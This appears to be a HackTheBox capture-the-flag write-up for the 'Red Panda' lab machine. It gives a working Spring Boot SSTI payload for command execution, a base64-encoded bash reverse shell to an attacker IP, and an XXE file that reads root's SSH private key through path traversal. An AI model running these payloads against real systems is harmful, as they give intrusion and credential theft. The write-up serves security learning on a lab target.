Red Panda – HackTheBox Writeup
Machine Name: Red Panda
IP: 10.10.11.170
Difficulty: Easy
Summary
Red Panda is an easy machine (not really) that exploits SSTI in Java Spring Boot to get an RCE. To escalate privileges to root, enumeration of directories, permissions, identities, groups, processes, and files need to be chained together to exploit a file that runs as a cronjob as root. The main attack involves performing an XXE attack to gain access to the private key of root.
Information Gathering
Nmap scan shows that SSH on port 22 and a web server (made with Spring Boot) is running on port 8080. I always use the “-sC -sV” flags for scripts and version detection but this time I’m going to use the aggressive scan as it includes the “-sC, -sV, -o, –traceroute”.
nmap -A -oN redpanda 10.129.183.105
The webserver running on port 8080, which is made with Spring Boot presents a search field. I looked at the source code of the page and found that the field uses POST method.
The search field was found to be vulnerable to SSTI (Server Side Template Injection).
Since it is using Spring Boot, I tried to use a Java SSTI payload. Here, I tried to fetch environment variables but failed since it was filtering the “$” character.
Googling for “Spring Boot SSTI” lead me straight to a blog post by Acunetix that helped me modify a the payload to work. Using “*” instead of “$” works. The username that is running this server is “Woodenk” and seems like the “Panda Search” application is located at the “/opt/panda_search”.
To get command execution, I used the below payload which is a modification of PayloadAllTheThings.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
To get a shell, I encoded the reverse shell payload to base64 and then passed it in the original SSTI payload.
echo -n "bash -i >& /dev/tcp/10.10.14.49/1234 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE= #Payload bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i} *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}').getInputStream())}
Note that the user woodenk belongs to the “logs” group apart from the user’s own group.
Let’s upgrade our shell to a fully interactive TTY.
python3 -c 'import pty;pty.spawn("/bin/bash")' ^Z stty raw -echo && fg
The “panda search” application resides in the “/opt/panda_search” location and glancing through the code, I found some credentials that were being used to connect through JDBC.
Using these credentials to login through SSH worked. Hopefully, we have persistence on this user now.
In the SSH terminal, the user belongs to his own group but does not belong to the “logs” group as seen in the reverse shell obtained through SSTI.
We can also see that some characters are being filtered and as a result, we were not able to use “$” in the initial SSTI payload.
Another interesting observation is how the XML file “/credits/<author>_creds.xml” is being accessed by the functions repeatedly.
Privilege Escalation
As always, I tried “sudo -l” but it asked for a password. I downloaded and ran linpeas.sh in hopes of finding something valuable. I noticed that “cleanup.sh” showed up as an unexpected file in “/opt”.
#On attacker scp linpeas.sh woodenk@redpanda.htb:/tmp/linpeas.sh #On Victim cd /tmp; chmod +x linpeas.sh ./linpeas.sh
These kind of cleanup scripts are usually set up by admins as a cronjob. It is owned by root and the script finds files with the extension “.xml” and “.jpg” in the directories and removes them. Let’s see if there are any process running this script and if it was set up as a job.
I transferred pspy using scp and ran it. The “cleanup.sh” file seems to be running every 5 minutes as root.
Since the script is deleting files with “.xml” and “.jpg” extension, I looked at the code again. The “MainController” code tells us that the author has to be either woodenk or damian to access the items in the XML file and to “export” the XML file.
Another file is also observed to be executed as root in the pspy output. The JAR file, “/opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar” is being executed. I downloaded the file to my attacker machine and decompiled it using jd-gui to view the code.
#Woodenk machine cd /opt/credit-score/LogParser/final/target/ python3 -m http.server #Attacker machine wget http://redpanda.htb:8000/final-1.0-jar-with-dependencies.jar jd-gui final-1.0-jar-with-dependencies.jar
We can see that “App.class” file contains the method “getArtist” which fetches metadata from JPG file and returns the description if it matches the artist name.
The main function tells us that the “/opt/panda_search/redpanda.log” will be parsed.
If we do a detailed listing of the log file, we see that the file is owned by the group “logs”. Therefore, we have read and write permissions on the log file.
The log is read line by line and each line is passed to the function “parseLog”.
The metadata from the JPG file is used to locate the “/credits/<artist>/_creds.xml” file.
So far, the possible exploit chain might be to craft a JPG with the artist name as in the metadata and then create a malicious XML file as “/credits/<artist>/_creds.xml”. Basically, an XXE attack.
To execute the malicious XML file, it needs to be placed in “/credits/” but woodenk does not have permissions to write in that directory.
Since there is no filtering done for the file name being passed, we could try to do a directory traversal.
I added the artist name using exiftool to a JPG as “../tmp/sid” where the artist is “sid” and it’s location is in “/tmp”.
To create a valid XML document, I looked for existing XML files and found the “woodenk_creds.xml”.
Note that the directory “/credits” can only be read by either user root or by users belonging to the group “logs”. So one wouldn’t be able to read this XML file unless they connect with the reverse shell.
I crafted a simple XXE payload that was available on the internet and created the file “sid_creds.xml” in the “/tmp” directory.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE blah [ <!ELEMENT blah ANY > <!ENTITY hxo SYSTEM "file:///root/.ssh/id_rsa" >]> <credits> <author>sid</author> <image> <uri>/../../../../../../../tmp/hxo.jpg</uri> <views>0</views> <blah>&hxo;</blah> </image> <totalviews>0</totalviews> </credits>
I also transferred the image file from my attacker machine to the woodenk machine.
#Attacker machine python -m http.server 80 #Victim machine wget http://10.10.14.57/hxo.jpg
Since the redpanda log file is owned by group logs and we already have a reverse shell with that identity, we could write in the log file. I have written the string with four splits where the last split is the location of the image file that contains the author name as “sid” that points to the “/tmp/sid_creds.xml” malicious file which retrieves the private key of root.
We obtain the private key of root in the “blah” tag.
Finally, we can create a private key file on the attacker machine and log in as root through SSH.
vi redpanda_id_rsa chmod 600 redpanda_id_rsa ssh root@redpanda.htb -i redpanda_id_rsa
Pwned!
Got root!
Another way to root this box is to use the update the “redpanda.log” file by visiting the red panda search application. We could craft a request with the same payload with “| |” as the delimiter and send it in one of the splits. Since we had write access to the log file through the reverse shell itself, we were able to directly modify the log file.